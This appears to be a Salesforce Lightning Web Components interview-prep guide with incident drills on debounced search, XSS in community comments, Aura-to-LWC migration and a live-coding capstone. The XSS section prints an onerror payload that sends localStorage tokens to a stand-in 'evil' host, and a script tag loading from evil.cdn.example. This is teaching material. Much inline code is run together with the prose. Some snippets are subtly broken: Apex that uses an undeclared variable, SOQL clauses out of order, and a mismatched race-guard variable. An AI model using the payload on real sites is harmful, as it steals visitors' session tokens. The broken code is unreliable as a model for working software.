- Hint 1 (the avenue): (1) How many calls per second does unthrottled typing produce? (2) Does
cacheable=truecache misses? (3) What does each request cost server-side even when cached? (And: what does aLIKE '%term%'do to an index?) - Hint 2 (the mechanism): (1) ~150 ms per keystroke ≈ 6–7 requests/second per user — debounce to ~300 ms AFTER the last keystroke. (2) Cacheable caches results for a given input — a new keystroke = a new input = a cache miss = a real Apex execution; typing "salesfo" through "salesforce" is 9 distinct inputs = 9 executions. (3) Even cached responses pay request handling + serialization; and a leading-wildcard
LIKE '%...%'forces a full scan server-side regardless. - Hint 3 (the skeleton): Debounce:
clearTimeout+setTimeout(..., 300)capturing the term in a closure. Race: track the latest term (this.latestTerm = term); on response, render only ifterm === this.latestTerm. ConsiderPromise.allfor parallel independent calls elsewhere — not here.
THE REVEAL — POSTMORTEM
What actually happened (real class of incidents — every LWC best-practices doc + JavaScript Dev I async questions):
Three compounding mechanisms:
- No debounce. Typing at a normal pace produces a request every keystroke (~6–7/sec). The fix:
setTimeoutdebounce of ~300 ms after the last keystroke — one call per pause, not per key. - Cacheable only caches hits. Each new character = a new argument = a cache miss = a real Apex execution. "salesforce" typed slowly = up to 9 separate executions. Cacheable saves you on repeat lookups (and across components), not on new inputs.
- The hidden server cost. Each execution pays: request handling, SOQL, serialization, and — with a leading wildcard
LIKE '%term%'— a non-selective full scan. On a large object that's the CPU/query-cost replay of Module 1 Incident 3, but from the client side.
Plus the race condition: keystroke "s" response arriving AFTER "sa" response → wrong results rendered. The classic fix: only render if the response's term still equals the current input.
The correct handler:
debounceTimer;
handleKeyChange(event) {
const term = event.target.value;
clearTimeout(this.debounceTimer); // 1. debounce ~300ms
this.debounceTimer = setTimeout(async () => {
this.isSearching = true;
try {
const results = await searchContacts({ term });
if (term === this.inputTerm) { // 2. race guard: render only latest
this.results = results;
}
} catch (err) {
this.error = reduceErrors(err); // 3. real error handling
} finally {
this.isSearching = false;
}
}, 300);
}Plus server-side: WHERE Name LIKE :safeTerm ESCAPE '\\' with escapeSingleQuotes, LIMIT, and selective fields. (And for the "cacheable method called imperatively can't refreshApex" interplay — Incident 3 — when search feeds a table you edit.)
Why "it's cacheable so it's cheap" is wrong (the contrast): cacheable saves repeat reads of the same input and enables @wire sharing; it does not throttle, cache misses, or make a LIKE '%...%' selective. And under @wire, a reactive search term re-provisions per change too — the debounce still belongs in the UI.
KNOWLEDGE EXTRACTION (interview-ready)
- "Debounce in LWC?" → ~300 ms;
clearTimeoutthensetTimeout; never fire Apex on every keystroke. - "Promise.all vs allSettled vs race vs any?" →
all: wait for all, reject fast on first failure (parallel independent calls).allSettled: wait for all, never rejects, reports each status.race: first to settle wins.any: first to fulfill wins. In LWC:Promise.allfor parallel Apex;allSettledwhen one failure shouldn't kill the batch. - "Event loop?" → Single thread; call stack → microtask queue (Promises,
queueMicrotask) drains first → macrotask queue (setTimeout).async/awaitunwraps Promises; async functions always return a Promise; errors via try/catch. - "
fetchgotchas?" → Rejects only on network failure, NOT on HTTP 404/500 — checkresponse.ok. - "Array transforms in LWC?" →
map/filter/reduce/find;[...this.template.querySelectorAll('lightning-input')]to convert NodeList; immutable updates (this.data = [...this.data, x]). - "
==vs===, null vs undefined?" →===for identity;null= intentional absence,undefined= not assigned;NaN !== NaN.
THE REDO
Write the debounced, race-safe, error-handled search handler from memory — and then say which parts would change if the search were a @wire with a reactive term instead of imperative (hint: the debounce stays, the race guard moves).
RETRIEVAL DRILL
- Why is "cacheable = cheap" wrong? (3 reasons.)
- Write the debounce pattern (no syntax lookup).
Promise.allvsPromise.allSettled— decision rule.- What does
fetchNOT reject on? - Two ways to convert a NodeList to an array.
INTERVIEW MAPPING
Async JS is a dedicated ~13–14% of the JavaScript Dev I cert and shows up as warm-up questions at product companies. The debounce + race-guard pair is a live-coding staple (Persistent Systems L2, Accenture-style prompts). Getting the race guard unprompted is the differentiator.
INCIDENT 7 — THE XSS IN THE "TRUSTED" TEXT
STAKES
A community page renders user-submitted comments. The dev renders them with innerHTML because "it's just text, and we sanitize it with a regex on the server." A bug bounty researcher submits a comment, waits, and extracts every Guest User-accessible record's data — plus localStorage tokens from other visitors. The team's first reaction: "But LWS blocks that!"
THE INCIDENT
renderComment(comment) {
this.commentDiv.innerHTML = '<div class="c">' + comment.text + '</div>'; // "trusted" text
}<template>
<div lwc:dom="manual"></div> <!-- appended via innerHTML -->
<script src="https://evil.cdn.example/analytics.js"></script> <!-- "just analytics" -->
</template>THE PROBLEM
Three layers of defense were assumed and all three failed. Name each assumption and its failure mode — then write the secure version (template + server). Bonus: explain the one thing LWS genuinely blocks vs distorts, and why innerHTML runs anyway.
Write: (1) the 3 failed assumptions, (2) the secure rewrite, (3) the LWS truth.
HINT LADDER
- Hint 1 (the avenue): (1) XSS doesn't need
<script>— think event handlers,javascript:URLs, SVG. (2) CSP: what does it block by default, and what does the<script src=CDN>line do? (3) LWS: what does it actually distort vs block — isinnerHTMLexecution blocked or merely sandboxed? - Hint 2 (the mechanism): (1)
innerHTMLwith attacker-controlled text = stored XSS vector (<img src=x onerror=...>,javascript:links, CSS-based exfil) — regex "sanitization" of HTML is famously unfixable. (2) CSP blocks inline scripts and external CDN scripts in Lightning (thescript srcline fails at load or is a violation) — third-party libs must go through Static Resource +loadScriptfromlightning/platformResourceLoader. (3) LWS distorts rather than blocks:innerHTML,eval,Function,localStorage,document.cookierun inside a sandboxed, per-namespace JavaScript Realm — execution isn't prevented; the environment is contained. So XSS payloads still execute; LWS limits blast radius, it doesn't neutralize the vulnerability. Truly blocked: Workers and a tiny set. - Hint 3 (the skeleton): Client: declarative template
{comment.text}(escaping is automatic) orlightning-formatted-rich-textfor rich text;loadScript(this, resourceUrl + '/lib.js')for libraries. Server:with sharing,WITH USER_MODE/stripInaccessible, input validation +escapeSingleQuotes(Module 1 Incident 8 discipline), output encoding at the boundary. Audit: Guest User profile least privilege; Event Monitoring.
THE REVEAL — POSTMORTEM
What actually happened (real class of incidents — Salesforce Security Anti-Patterns blog 2026, LWS docs, Module 1 Incident 8 sibling):
Three failed assumptions:
- "It's just text" →
innerHTMLreparses attacker-controlled markup.<img src=x onerror="fetch('//evil?c='+localStorage.getItem('token'))">needs no<script>tag at all. Regex sanitizers are bypassable (encoding, nesting, SVG/foreign content). The comment executed in every visitor's browser — and since the component was Guest-User-reachable, the stored payload also ran during authenticated sessions (token theft). - "CSP won't matter, we use a CDN" → Lightning's CSP blocks inline scripts and external CDN scripts outright. The
script srcline violates CSP. Legit third-party libraries must live in a Static Resource and load vialoadScript(this, url)/loadStylefromlightning/platformResourceLoader(they dedupe and return Promises). - "LWS blocks that" → LWS distorts, it doesn't block.
innerHTML,eval,Function,localStorage,document.cookieall run — inside a per-namespace sandboxed Realm with distorted APIs. The payload executed; LWS just contained some of the blast radius. A tiny set is truly blocked (Workers). LWS is defense-in-depth, not a vulnerability fix. (Also: objects crossing namespaces get Proxy-wrapped — mutating them in place silently doesn't propagate back; serialize to JSON fordetail.)
The secure version:
// Declarative template = automatic escaping. No innerHTML.
// <template><div class="c">{comment.text}</div></template>
// Rich text (trusted source only): <lightning-formatted-rich-text value={comment.text}></lightning-formatted-rich-text>
import { loadScript, loadStyle } from 'lightning/platformResourceLoader';
import LIB from '@salesforce/resourceUrl/mylib';
connectedCallback() { loadScript(this, LIB + '/mylib.js'); } // CSP-legal loadingpublic with sharing class CommentService {
@AuraEnabled(cacheable=true)
public static List<Comment__c> getComments(Id postId) {
String safeTerm = '%' + String.escapeSingleQuotes(term) + '%'; // if any input
return [SELECT Id, Text__c FROM Comment__c WHERE Post__c = :postId WITH USER_MODE];
}
}Plus: Guest User profile audit (least privilege — no legacy object access), server-side input validation, Event Monitoring.
Why the "obvious fixes" failed (the contrast): "sanitize on the server" → sanitization at the wrong layer (output must be encoded at the render boundary, and you can't safely re-parse attacker HTML with regex); "use a CDN" → CSP block; "LWS saves us" → containment ≠ prevention.
KNOWLEDGE EXTRACTION (interview-ready)
- "LWS vs Locker?" → LWS (Lightning Web Security): per-namespace JavaScript Realm sandbox, distorts APIs (localStorage, cookie, eval, Function, innerHTML run sandboxed); default for orgs created Winter '23+; LWC-only. Locker: Aura-era monkey-patched DOM facades.
- "What does CSP block in Lightning?" → Inline scripts, external CDN scripts. Use Static Resources +
loadScript/loadStyle(lightning/platformResourceLoader). - "XSS prevention in LWC?" → Declarative templates (auto-escaping);
lightning-formatted-rich-textfor trusted rich text; neverinnerHTMLwith untrusted data; validate + encode server-side. - "What breaks across LWS namespaces?" → Proxies wrap cross-namespace objects — in-place mutation silently lost; JSON-serialize for
event.detail. - "Client-side security list?" →
with sharing+@AuraEnabled, CRUD/FLS (stripInaccessible/USER_MODE) server-side, input validation server-side, least privilege, treat every@AuraEnabledmethod as public API (Module 1 Incident 8).
THE REDO
Rewrite the comment component securely (template + Apex + Guest User audit steps) and answer: "a client-side library needs localStorage — does LWS break it? What's the catch?"
RETRIEVAL DRILL
- LWS vs Locker — one sentence each.
- What exactly does CSP block, and what's the legal way to load a JS library?
- Why doesn't LWS "fix" XSS?
- Two XSS vectors that need no
<script>tag. - What happens to cross-namespace objects, and the workaround?
INTERVIEW MAPPING
Security is the increasingly asked 3-4yr signal (LWS questions appeared in 2026 banks from Kore1, Salesforce Ben, Dev Blog). Knowing "LWS distorts, not blocks" is a genuine differentiator — most candidates either ignore LWS or over-trust it. The Guest User + innerHTML combo is also a strong "tell me about a hard problem" story.
INCIDENT 8 — THE AURA GHOST
STAKES
An org with 400+ legacy Aura components is told: "new development is LWC only." A senior dev submits a PR building the new quoting widget in Aura — "because the existing parent component is Aura and I can reuse its helper." The architect rejects it. The dev argues: "LWC can't live inside Aura, everyone knows that." One of the two is wrong — and the wrongness costs the team a week.
THE INCIDENT
The facts on the table:
- The existing parent is an Aura component (
aura:componentwrapping a tabbed interface). - The new quoting widget is a self-contained form + datatable.
- The dev's claim: "LWC cannot be embedded in Aura."
- The architect's rule: "New code = LWC. Period."
THE PROBLEM
Who is right about the embedding, and who is right about the rule — and how do you reconcile them? Walk the migration strategy end-to-end.
Write: (1) the interop facts, (2) the migration strategy (what moves when), (3) the mapping table for the Aura→LWC translation (attributes, events, iteration, conditionals, application events), (4) the one Aura concept that has NO LWC equivalent.
HINT LADDER
- Hint 1 (the avenue): Interop is one-directional. Which direction? And what is the Aura concept with no LWC sibling (it's also the reason LMS exists)?
- Hint 2 (the mechanism): Aura can embed LWC; LWC cannot embed Aura. So the dev is wrong about embedding — the new LWC widget CAN live inside the Aura parent (pass attributes in, handle CustomEvents via
on*). The migration rule: leaves first, host last — migrate the leaf components (widgets) to LWC while the Aura parent hosts them, then migrate the host last (or re-architect it as LWC page composition). The no-equivalent concept: Aura application events — LWC has none; use LMS. - Hint 3 (the skeleton): Mapping:
aura:attribute→@apiproperty;cmp.get/set→ direct field assignment;aura:if/aura:else→lwc:if/elseif/else;aura:iteration→for:each+key; component events →CustomEvent+dispatchEvent(with bubbles/composed); application events → LMS;{!c.action}→ JS method; controller/helper → single JS class (ES modules); renderer →renderedCallback. Judgment: "new development → LWC, period"; Aura is debt, not architecture.
THE REVEAL — POSTMORTEM
What actually happened (real class of incidents — Salesforce migrate-strategy docs, X0PA LWC-vs-Aura rubric, every 2026 company-wise bank):
The dev was wrong twice:
- The embedding claim is false in the direction they needed. LWC cannot embed Aura — but the parent is Aura, and Aura embeds LWC fine. The new widget ships as LWC, dropped inside the Aura parent: attributes pass via the standard
c:widgettag with attribute values; LWC'sCustomEvents surface to the Aura parent ason*handlers. No reuse of the Aura helper was needed — LWC is a fresh ES-module class. - The rule is right and the exception is wrong. "New code = LWC" is the 2026 standard. The only legitimate reasons to write Aura today: modifying an existing Aura component in place (surgical fixes), or hosting where Aura is still required (some Service Console features, Experience Cloud legacy pages). Building new Aura is debt.
The migration strategy (the senior answer):
- Leaves first, host last. Convert leaf/child components to LWC while the Aura parent keeps hosting them. Interop is one-way (Aura→LWC), so the Aura parent can host LWC children indefinitely while you migrate the tree.
- Translate in-place:
aura:attribute→@api;cmp.get("v.x")/cmp.set(...)→direct assignment;aura:if/aura:else→lwc:if/lwc:elseif/lwc:else;aura:iteration→for:each+ uniquekey; component events→CustomEvent; application events→LMS;{!c.action}→JS method; helper/controller→one ES6 class; renderer overrides→renderedCallback(guarded). - Migrate the host last — re-architect the Aura parent as a Lightning page (flexipage) or LWC composition, then delete the Aura bundle.
- Treat Aura as debt — freeze new Aura work; track migration as technical-debt backlog. Aura remains relevant to read (and Platform Dev I conceptually) but not to build.
Why the "obvious fixes" failed (the contrast):
- "Rewrite the parent first" → backwards: migrating the host first blocks everything else (its LWC children can't go back). Leaves-first keeps the system shippable at every step.
- "Keep the widget in Aura to match the parent" → compounds debt; the parent will be re-architected anyway; the widget's Aura helper reuse saves nothing long-term.
- "Use LMS to bridge Aura and LWC" → LMS works in LWC; Aura has its own application events. Cross-framework bridging happens through attributes/events at the boundary, not LMS.
KNOWLEDGE EXTRACTION (interview-ready)
- "Aura vs LWC — the table you must reproduce." → LWC: 2019, Web Components standards (custom elements, Shadow DOM, ES modules),
.html/.js/.js-meta.xml, native reactivity (assign → re-render), one-way binding, LWS security, standard DOM events, ES6+. Aura: 2014, proprietary framework, multi-file bundles (.cmp/.controller/.helper/.renderer...), XML-like markup, manual reactivity (aura:attribute+cmp.set), two-way binding (v.value), Locker, Aura events (component/application), ES5. Performance: LWC lighter/faster. - "Interop rule?" → Aura can embed LWC; LWC cannot embed Aura. Aura→LWC via attributes +
on*event handlers. - "What has no LWC equivalent?" → Aura application events — replaced by LMS. (LWC also has no
$Aglobal, no two-way binding.) - "Migration order?" → Leaves first, host last; freeze new Aura; map the bundle concepts.
- "Aura still load-bearing where?" → Older record pages, parts of Service Console, some Experience Cloud/CRM Analytics overrides,
ltng:requirehosting — debt to migrate, not extend.
THE REDO
From memory: write the Aura→LWC mapping table (7 rows), state the interop direction rule, and lay out a 3-phase migration for a 400-component org (what freezes, what moves when, when the host dies).
RETRIEVAL DRILL
- Which framework can embed the other? (Exact direction.)
aura:iterationandaura:if→ LWC equivalents?- Aura component events vs application events → LWC equivalents?
- Why "migrate the host first" is wrong.
cmp.get("v.x")→ LWC equivalent?
INTERVIEW MAPPING
Aura is <5% of the interview but always present as the comparison/migration judgment question (X0PA rubric, Simplilearn 150-question bank, SalesforceCasts Top 10). "New development → LWC, period" + "leaves first, host last" is the 30-second answer that ends the topic.
🏆 CAPSTONE — THE 60-MINUTE LIVE CODING CHALLENGE
STAKES
Live coding round. The interviewer pastes a prompt on screen: "Build a contact search: type ahead, results list, multi-select pills, and a button that emails the selected contacts. You have 60 minutes. You may ask clarifying questions." (Persistent Systems L2 reported this exact challenge; Accenture-style and product-company loops have variants.) The clock is the interviewer — and they watch how you structure the component, not just whether it renders.
THE INCIDENT (the requirements file)
- Search box: type ahead; results capped at 25; must not hammer the server.
- Results list: shows Name, Email, Phone; loading state; empty state.
- Multi-select: clicking a result adds a pill; clicking a pill removes it; dedupe.
- Send button: emails the selected contacts (server-side
sendEmail, max 10 invocations per transaction — the Module 1 limit); success/error toasts. - Constraints from the interviewer: Apex must be secure; the UI must not break if the user types 100 characters; no framework magic — justify every choice.
THE PROBLEM (the transfer test)
Produce, in writing, the complete design BEFORE coding: (1) the component tree (2) each Apex method with annotations and security posture (3) wire vs imperative for each data flow and WHY (4) the debounce + race-guard design (5) the event flow for pill add/remove (6) the error-handling strategy (7) the refresh strategy after the send (8) what you'd unit test in Jest.
This is deliberately a design-first test — in the real interview you'd then code it. Writing the design IS the deliverable. (45-min cap, then reveal.)
THE MODEL DESIGN (reveal after your attempt)
- Component tree:
contact-search(page-level: owns state) →c-contact-results(list + selection events) andc-contact-pills(selected items, removal events). Parent ownsselectedContactsMap (dedupe by Id), passes down via@api. - Apex (all secure):
public with sharing class ContactSearchService {
@AuraEnabled(cacheable=true)
public static List<Contact> search(String term) {
if (String.isBlank(term)) return new List<Contact>();
if (!Schema.sObjectType.Contact.isAccessible()) return new List<Contact>();
String safe = '%' + String.escapeSingleQuotes(term) + '%';
return [SELECT Id, Name, Email, Phone FROM Contact
WHERE Name LIKE :safe ORDER BY Name LIMIT 25 WITH USER_MODE];
}
@AuraEnabled
public static void sendEmails(List<Id> contactIds, String subject, String body) {
// NON-cacheable (mutates) — called imperatively.
// Limit guard: sendEmail is capped at 10 invocations/transaction.
// Batch sends into a single Messaging.SingleEmailMessage[].
}
}- Wire vs imperative: search = imperative + debounce (user-initiated, needs race control — wire's reactivity is wrong here); send = imperative (DML-like). No wire needed — the search is event-driven, not reactive-param-driven. (A wire with a reactive
termis acceptable but re-provisions per keystroke anyway — debounce still required; the imperative version gives explicit control.) - Debounce + race guard:
clearTimeout/setTimeout(300); capturetermin closure; render only ifterm === this.latestTerm; spinner during flight;reduceErrorsfor the catch. - Events: results item click →
CustomEvent('select', { detail: contact, bubbles: true, composed: true }); pill remove →CustomEvent('remove', { detail: id, ... }); parent updatesselectedContactsmap immutably (new Map(...)— a Map IS tracked? No —@trackdoesn't observeMap/Set; use a plain object or new array reference for reactivity). - Errors:
reduceErrors()(Apex error shape:error.body.message); toast on send failure; inline error for search. - Refresh: after send,
notifyRecordUpdateAvailable(contactIds)(data was LDS-ish? No — search data came from Apex, sorefreshApexonly if a wire was used; with imperative search, simply re-run the last search or clear the selection state). - Jest: mock
searchContacts; assert debounce (one call after rapid typing), race guard (stale response ignored), dedupe, pill add/remove, error paths, disabled button state while sending.
KNOWLEDGE EXTRACTION (the meta-lesson)
The capstone is a model of the live-coding round — interviewers score structure, justification, and edge-case awareness, not typing speed. The 3-sentence summary you should now be able to produce:
"LWC development is one-way data flow plus lifecycle discipline. Every failure I've seen — the render loop, the dead wire, the stale screen, the lost event — is code that forgot the platform's contract: data goes down via properties, up via events, re-renders happen only on reference change, and the DOM is a browser with real limits. The fix is always the same: guard the lifecycle, design the data flow first, and cache with intent."
THE KNOWLEDGE SPINE (the allowed 5% — memorize after the incidents)
Lifecycle order (parent + child)
Parent constructor → Parent connectedCallback → Child constructor → Child connectedCallback → Child renderedCallback → Parent renderedCallback.
("Parent initializes first, child finishes rendering first.")
The 5 hooks in one line each
| Hook | When | Use |
|---|---|---|
constructor | Birth, once | Primitives only; super() first; NO DOM/Apex/wire |
connectedCallback | Each DOM insertion (may repeat) | Fetch data, subscriptions, imperative Apex |
renderedCallback | After EVERY render | DOM work — ALWAYS guard with a flag; never set reactive state |
disconnectedCallback | Each removal | Unsubscribe LMS/pubsub, clear timers |
errorCallback | Descendant errors only | Error boundary / fallback UI |
Decorators
@api— public property/method (read-only from child; parent sets it).recordIdauto-populated on record pages.@track— deep observation of plain objects/arrays ONLY. NOT class instances, Date, Map, Set. Mostly obsolete (Spring '20+ all fields reactive; Winter '21 shallow default).@wire— reactive data binding (Apexcacheable=trueor LDS adapter); result{ data, error }.
Wire vs imperative (the table to reproduce)
| @wire | Imperative | |
|---|---|---|
| Trigger | Automatic/reactive | Manual (click, connectedCallback) |
| Apex needs | @AuraEnabled(cacheable=true) | cacheable optional |
| Cache | Built-in + refreshable (refreshApex) | None (cacheable-imperative can't refreshApex) |
| Best for | Read-only reactive data | DML, control, non-cacheable |
| Error/loading | data/error/undefined | then/catch + your spinner |
Caching rules
refreshApex(this.wiredResult)→ re-provisions @wire Apex data (Promise). Only for wire-provisioned data.notifyRecordUpdateAvailable([ids])→ invalidates LDS cache. LDS auto-invalidates on its own writes.getRecordUiis deprecated →getLayout.
Events (the 3 rules)
CustomEvent('name', { detail, bubbles, composed }); defaults both false.composed: true= public API → globally unique name (namespace prefix).- Unrelated components → LMS (
lightning/messageService): subscribe inconnectedCallback,unsubscribeindisconnectedCallback. NO application events in LWC.
Templates / directives
lwc:if/lwc:elseif/lwc:else(Spring '23+;if:truedeprecated).for:eachneeds a uniquekey(never index for dynamic lists);iterator:itgivesit.first/it.last.- Slots: default + named;
::slotted()styling; no:host-context()in Synthetic Shadow. - Datatable: NO nested fields (flatten!); ~1,000 rows × 5 cols; >250 → <20 cols; infinite scroll via
enable-infinite-loading/onloadmore/load-more-offset; save onlydraftValues. NavigationMixin.Navigatereturns NOTHING (no Promise);GenerateUrlreturns a Promise.- Third-party JS: Static Resource +
loadScript/loadStyle(CSP; no inline, no CDN).
JS/async (the cert-mapped core)
var(function scope) vslet/const(block scope); arrows = lexicalthis; spread...expands, rest collects.- Microtasks (Promises) drain before macrotasks (
setTimeout). Promise.all(reject-fast) vsallSettled(wait-all) vsrace(first settled) vsany(first fulfilled).fetchrejects only on network failure — checkresponse.ok.- Immutable updates:
this.data = [...this.data, x]— mutation doesn't re-render.
Aura → LWC (mapping to reproduce)
| Aura | LWC |
|---|---|
aura:attribute + cmp.get/set | @api property + direct assignment |
aura:if / aura:else | lwc:if / lwc:elseif / lwc:else |
aura:iteration | for:each + unique key |
| Component events | CustomEvent + dispatchEvent |
| Application events | LMS (NO equivalent) |
| Controller/Helper | One ES6 class |
| Renderer overrides | renderedCallback (guarded) |
| Locker | LWS |
Interop: Aura embeds LWC; LWC cannot embed Aura. Migration: leaves first, host last.
Security (LWS/CSP)
- LWS = per-namespace JS Realm sandbox — distorts, not blocks:
innerHTML,eval,localStorage,document.cookierun sandboxed. Truly blocked: Workers + tiny set. - CSP: no inline scripts, no external CDN.
- XSS: declarative templates (auto-escape),
lightning-formatted-rich-text, neverinnerHTMLwith untrusted data. - Cross-namespace objects = Proxy-wrapped; serialize to JSON for
detail.
Rapid-fire trick questions (module 2 scope)
| Question | Answer |
|---|---|
| Lifecycle order? | Parent ctor → parent connected → child ctor → child connected → child rendered → parent rendered |
| RenderedCallback fires how often? | After EVERY render — guard it |
| @track needed for reactivity? | No (Spring '20+); only deep plain-object/array observation |
| @track observes Date/Map/Set? | No |
| @wire needs what on Apex? | @AuraEnabled(cacheable=true) |
Wire param $x undefined? | Wire never fires — silently |
| Can refreshApex refresh imperative-cacheable? | No |
| LDS auto-refresh? | Yes — after its own writes |
| CustomEvent defaults? | bubbles:false, composed:false |
| Data in events travels via? | event.detail (target retargets) |
| LWC application events? | None — LMS |
| LMS unsubscribe where? | disconnectedCallback |
| Datatable nested fields? | Not supported — flatten |
| Datatable sweet spot? | ~1,000 rows × 5 cols |
| Navigate returns? | Nothing (no Promise) |
| GenerateUrl returns? | Promise |
| External CDN scripts? | Blocked by CSP — Static Resource + loadScript |
| LWS blocks innerHTML? | No — distorts/sandboxes |
| Aura embeds LWC? | Yes; reverse: no |
if:true status? | Deprecated → lwc:if |
INTERLEAVED PRACTICE SET (do 1–2 per session, closed-book)
Pick the technique before solving — the choice is the training. Mixes Module 1 + Module 2.
- Apex + LWC, one bug: a save button calls a non-cacheable Apex method; after save the table (fed by
@wireApex) still shows old rows. Name the missing call AND the Module-1 limit that the Apex method must respect (it sends emails). - Choose the tool: a datatable on a record page needs the current record's name + 3 fields + a related list count. Wire
getRecord, LDS functions, or Apex@wire? Justify in 2 sentences. - Live-code sketch (2 min): a debounced search that also refreshes a
@wire-fed counter of results. Where does the debounce live? Where doesrefreshApexgo? - Whiteboard: draw the order of execution (Module 1) and the lifecycle order (Module 2) side by side; circle the two "fire more than once" items.
- Security double: the Module 1
with sharinglesson meets LWC — an@AuraEnabledmethod without sharing returns records a Guest User shouldn't see (Module 1 Incident 8), rendered viainnerHTML(Module 2 Incident 7). List every fix in order of severity.
SPACED REPETITION SCHEDULE (log it in the canvas)
- Today: after each incident — retrieval drill + redo.
- Tomorrow: re-answer the 5-question drills from Incidents 1–4 (closed-book).
- +1 week: the Interleaved Practice Set + rapid-fire bank (both modules).
- +1 month: the Capstone (redo from memory) + Module 1 capstone (the 11:34 PM crisis) back to back.
Incident sources (real, for your curiosity): LWC Developer Guide (lifecycle, events, reactivity, wire adapters, datatable, security), LWS docs + Salesforce Dev Blog "Security Anti-Patterns in LWC" (2026), Trailhead LWC modules (Work with Data, Handle Server Errors, Best Practices), StackExchange #393482 (wire vs imperative), #296396 (refresh imperative cacheable), #387670 (CustomEvent vs LMS), #426884 (NavigationMixin), GitHub salesforce/lwc #3107 (named-slot bug), glenbradford.com (LWC mutation tracking), crmcurator.com (LWC interview series 2026), learnfrenzy.com (scenario banks), trailheadtitans.com (20 LWC questions, lifecycle), medium.com (Saurabh Samir mock interview LWC+Apex senior 2026; Ambarish LWC+Apex integration), LinkedIn real posts (Capgemini 38 questions — Ashish Singh; Deloitte — Manikanchan Roy; Persistent L2 live coding — NarayanaReddy Mandli; PwC LWC=perf signal — Abhishek Singh), Simplilearn 150-question bank, X0PA LWC-vs-Aura rubric, SalesforceCasts Aura Top 10. Full URL list in _research/round1_master_report/agent_02_lwc_ui/sources.md + links_master.md.